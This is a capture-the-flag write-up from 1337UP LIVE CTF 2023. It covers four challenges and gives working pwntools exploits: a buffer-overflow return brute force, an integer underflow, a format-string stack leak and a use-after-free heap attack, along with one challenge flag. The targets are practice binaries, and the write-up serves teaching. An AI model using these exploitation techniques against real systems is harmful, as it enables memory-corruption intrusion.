1337UP LIVE CTF 2023 Write ups

Hidden (111 solves / 100 points)

Not everything you see is what it appears to be! Can you find the hidden secrets and beat it?
Author: 0xM4hm0ud
hidden.ctf.intigriti.io 1337

Analysis

Simple buffer overflow. Let’s return to get_flag.

But They have PIE, so I need to brute force only 0.5 byte.

Remember that the read function does not need to include ‘\n’.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

e = ELF('./chall')

flag = 0x11Da

while True:
try:
# p = process('./chall')
p = remote('hidden2.ctf.intigriti.io', 1337)

payload = b''
payload += b'A' * 0x40
payload += b'B' * 0x8 # rbp
payload += b'\xda\xc1' # ret

p.sendafter(':', payload)

try:
p.recvuntil('INTIGRITI{', timeout=1)
flag = p.recvline()
info(b'INTIGRITI{' + flag)
p.interactive()
except:
p.close()
continue

except Exception as ex:
print(ex)

Over The Edge (110 solves / 100 points)

Numbers are fun!! 🔢
Author: kavigihan
edge.ctf.intigriti.io 1337

Analysis

Here is the key function in the given script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import numpy as np

def process_input(input_value):
num1 = np.array([0], dtype=np.uint64)
num2 = np.array([0], dtype=np.uint64)
num2[0] = 0
a = input_value
print(a)
if a < 0:
return "Exiting..."
num1[0] = (a + 65)
print((num2[0] - num1[0]))
if (num2[0] - num1[0]) == 1337:
return 'You won!\n'
return 'Try again.\n'

When this function return ‘You won!\n’, I can get the flag.

Solve

I just asked to ChatGPT and got the answer.

1
2
3
4
5
6
7
8
9
10
11
When representing a negative value like -1402 in an unsigned 64-bit integer (np.uint64 in the context of NumPy), you use the two's complement.

The two's complement of a number is found by subtracting the number from 2^64. So for -1402:

Two’s complement = 2^64 −1402

Calculating this gives:

Two’s complement = 18446744073709550214

Therefore, when representing -1402 as an unsigned 64-bit integer, it is equal to 18446744073709550214.

I gave the 18446744073709550214 to remote program, so I got the flag.

Floor Mat Store (112 solves / 100 points)

Welcome to the Floor Mat store! It’s kind of like heaven.. for mats
Author: CryptoCat
floormats.ctf.intigriti.io 1337

Analysis

This is the main.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+10h] [rbp-120h] BYREF
int i; // [rsp+14h] [rbp-11Ch]
__gid_t rgid; // [rsp+18h] [rbp-118h]
int v7; // [rsp+1Ch] [rbp-114h]
char *v8; // [rsp+20h] [rbp-110h]
FILE *stream; // [rsp+28h] [rbp-108h]
char *s[6]; // [rsp+30h] [rbp-100h]
char flag[64]; // [rsp+60h] [rbp-D0h] BYREF
char format[136]; // [rsp+A0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+128h] [rbp-8h]

v13 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
s[0] = "1. Cozy Carpet Mat - $10";
s[1] = "2. Wooden Plank Mat - $15";
s[2] = "3. Fuzzy Shag Mat - $20";
s[3] = "4. Rubberized Mat - $12";
s[4] = "5. Luxury Velvet Mat - $25";
s[5] = "6. Mysterious Flag Mat - $1337";
v8 = flag;
rgid = getegid();
setresgid(rgid, rgid, rgid);
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("You have a flag.txt, right??");
exit(0);
}
puts(
"Welcome to the Floor Mat store! It's kind of like heaven.. for mats.\n"
"\n"
"Please choose from our currently available floor mats\n"
"\n"
"Note: Out of stock items have been temporarily delisted\n");
puts("Please select a floor mat:\n");
for ( i = 0; i <= 4; ++i )
puts(s[i]);
puts("\nEnter your choice:");
__isoc99_scanf("%d", &choice);
if ( choice <= 0 || choice > 6 )
{
puts("Invalid choice!\n");
exit(1);
}
v7 = choice - 1;
while ( getchar() != 10 )
;
if ( v7 == 5 )
fgets(flag, 64, stream); // <-- here
puts("\nPlease enter your shipping address:");
fgets(format, 128, stdin);
puts("\nYour floor mat will be shipped to:\n");
printf(format); // fsb
return 0;
}

There is FSB. So I can leak stack.

First, save the flag to the stack through menu 6. Then I leak the flag using FSB.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

# p = process('./floormats')
p = remote('floormats.ctf.intigriti.io', 1337)
e = ELF('./floormats')

p.sendlineafter(':', b'6')
p.sendlineafter(':', b'%18$p_%19$p_%20$p_%21$p_%22$p_%23$p')

p.recvuntil('0x')
strings = p.recvline().strip().split(b'_0x')
print(strings)

flag = ''
for s in strings:
ascii_str = bytes.fromhex(s.decode()).decode()[::-1]
flag += ascii_str

print(flag)

p.interactive()

Maltigriti (62 solves / 352 points)

I just submitted my third bug report to Maltirgiti (a competitor of Intigriti), and it was again closed as a duplicate!
Can you figure out what is going on and get me my well deserved swag pack?
Author: c0nrad - Sloppy Joe Pirates
maltigriti.ctf.intigriti.io 1337

This was my favorite chall I solved recently. <3

Analysis

The C source code was provided. From what I’ve seen, the code is well written, so I’ll share it in full.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
// pwn/maltigriti
// by c0nrad - Sloppy Joe Pirates
// Enjoy <3

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char STATUS_ACCEPTED = 'A';
const char STATUS_REJECTED = 'R';
const char STATUS_DUPLICATE = 'D';

struct User {
char name[32];
char password[32];
int bio_length;
char *bio;
};

struct Report {
struct User *user;
char status;
long bounty;
char title[32];
char body[128];
struct Report *next;
};

void print_reports(struct Report *report) {
int counter = 1;
while (report != NULL) {
printf("--- Report #%d ---\n", counter++);
printf("Title: %s\n", report->title);
printf("Body: %s\n", report->body);

if (report->status == STATUS_ACCEPTED) {
printf("Status: Accepted\n");
} else if (report->status == STATUS_REJECTED) {
printf("Status: Rejected\n");
} else if (report->status == STATUS_DUPLICATE) {
printf("Status: Duplicate\n");
} else {
printf("Status: Unknown\n");
}

printf("Bounty: %ld\n", report->bounty);
report = report->next;
}
}

void setup() {
setvbuf(stdin, (char *)0x0, 2, 0);
setvbuf(stdout, (char *)0x0, 2, 0);
setvbuf(stderr, (char *)0x0, 2, 0);
}

void menu() {
puts("\n\n--- Welcome to maltigriti's bug bounty reporting system! ---");
puts("0. Register User");
puts("1. Edit User");
puts("2. Submit a bug report");
puts("3. Print Reports");
puts("4. Print Balance");
puts("5. Buy Swag Pack");
puts("6. Logout");
puts("7. Exit");
printf("menu> ");
}

void edit_user(struct User *user) {
if (user != 0 && user->bio != NULL) {
printf("Your current bio is: %s\n", user->bio);
printf("Enter your new bio> ");
fgets(user->bio, user->bio_length, stdin);
} else {
puts("You don't have a bio yet!");
printf("How long is your bio> ");

scanf("%d", &user->bio_length);
getchar();

user->bio = malloc(user->bio_length);
printf("Enter your new bio> ");

fgets(user->bio, user->bio_length, stdin);
}
}

void logout(struct User *user) {
if (user != NULL) {
memset(user->name, 0, 32);
memset(user->password, 0, 32);
memset(user->bio, 0, user->bio_length);
free(user->bio);
}
}

int calculate_balance(struct Report *report, struct User *user) {
int balance = 0;

while (report != NULL) {
if (report->status == STATUS_ACCEPTED && report->user == user) {
balance += report->bounty;
}
report = report->next;
}
printf("Your balance is: %d\n", balance);
return balance;
}

void buy_swag_pack(struct Report *report, struct User *user) {
if (calculate_balance(report, user) >= 1337) {
puts("You have enough money to buy a swag pack!");
puts("With great swag comes great responsibility.");
puts("Here is your swag pack: flag{redacted_redacted}");
exit(0);
} else {
puts("You don't have enough money to buy a swag pack!");
puts("Keep submitting bug reports and maybe you'll get there one day!");
puts(":evil_grin:");
}
}

struct User *register_user() {
struct User *user = malloc(sizeof(struct User));

printf("Enter your name> ");
fgets(user->name, 32, stdin);

printf("Enter your password> ");
fgets(user->password, 32, stdin);

edit_user(user);
return user;
}

struct Report *new_report(struct Report *firstReport, struct User *user) {
struct Report *report = malloc(sizeof(struct Report));

if (firstReport != NULL) {
// get last report
struct Report *scanner = firstReport;
while (scanner->next != NULL) {
scanner = scanner->next;
}
scanner->next = report;
} else {
firstReport = report;
}

report->user = user;

printf("Enter your report title> ");
fgets(report->title, 32, stdin);

printf("Please enter the content of your report> ");
fgets(report->body, 128, stdin);

// Automatically mark the status as duplicate so we don't have to pay anyone :evil_grin:
report->status = STATUS_DUPLICATE;
report->bounty = 0;

puts("Thank you for submitting your bug report!");
puts("Unfortunately our records indicate that this bug has already been submitted!");
puts("Report will be closed and marked as duplicate.");
puts("Hope you didn't spend too much time on it! ( ͡° ͜ʖ ͡°) ");

return firstReport;
}

int main() {
struct Report *reports = 0;
struct User *user = 0;
int report_count = 0;

int menu_choice = 0;
setup();
while (1) {
menu();
scanf("%d", &menu_choice);
getchar();

switch (menu_choice) {
case 0:
user = register_user();
break;
case 1:
edit_user(user);
break;
case 2:
reports = new_report(reports, user);
break;
case 3:
print_reports(reports);
break;
case 4:
calculate_balance(reports, user);
break;
case 5:
buy_swag_pack(reports, user);
break;
case 6:
logout(user);
break;
case 7:
exit(0);
break;
default:
puts("Invalid choice!");
break;
}
}
}

The condition of getting flag is in the buy_swag_pack function. I need to reconstruct report->status and report->status to get the flag.

The vulnerability is that only user->bio is freed in the logout function.

1
2
3
4
5
6
7
8
void logout(struct User *user) {
if (user != NULL) {
memset(user->name, 0, 32);
memset(user->password, 0, 32);
memset(user->bio, 0, user->bio_length);
free(user->bio); // <-- here
}
}

Since bio->length can be specified in the register_user function, it can be set to be the same as the size of the report object. This means that you can freely configure the report object using UAF.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

# context.log_level = 'DEBUG'

# p = process('./maltigriti')
p = remote('maltigriti.ctf.intigriti.io', 1337)
e = ELF('./maltigriti')

def register_user(length, bio):
p.sendlineafter('menu>', b'0')
p.sendlineafter('name>', b'a')
p.sendlineafter('password>', b'b')
p.sendlineafter('bio>', str(length))
p.sendlineafter('bio>', bio)

def edit_user(new_bio, leak=0):
p.sendlineafter('menu>', b'1')
if leak:
p.recvuntil('is: ')
heap = u64(p.recv(6).ljust(8, b'\x00'))
p.sendlineafter('bio>', new_bio)
return heap
else:
p.sendlineafter('bio>', new_bio)

def new_report():
p.sendlineafter('menu>', b'2')
p.sendlineafter('title>', b'aa')
p.sendlineafter('report>', b'bb')

def print_reports():
p.sendlineafter('menu>', b'3')

def calculate_balance():
p.sendlineafter('menu>', b'4')

# get flag
def buy_swag_pack():
p.sendlineafter('menu>', b'5')

# uaf
def logout():
p.sendlineafter('menu>', b'6')


register_user(0xc0, b'AAAA')

logout() # uaf
new_report() # uaf 후 재할당
user = edit_user(b'BBBB', 1)
info('user addr: '+ hex(user))

# user
# status A
# bounty 13337
# dummy 32
# dummy 128
# dummy

payload = b''
payload += p64(user)
payload += p64(0x41)
payload += p64(13337)
payload += b'A' * 32
payload += b'B' * 127 # 128하면 0xa들어가서 buy_sawg_pack에서 터짐
edit_user(payload)

buy_swag_pack()

p.interactive()

# INTIGRITI{u53_4f73r_fr33_50und5_600d_70_m3}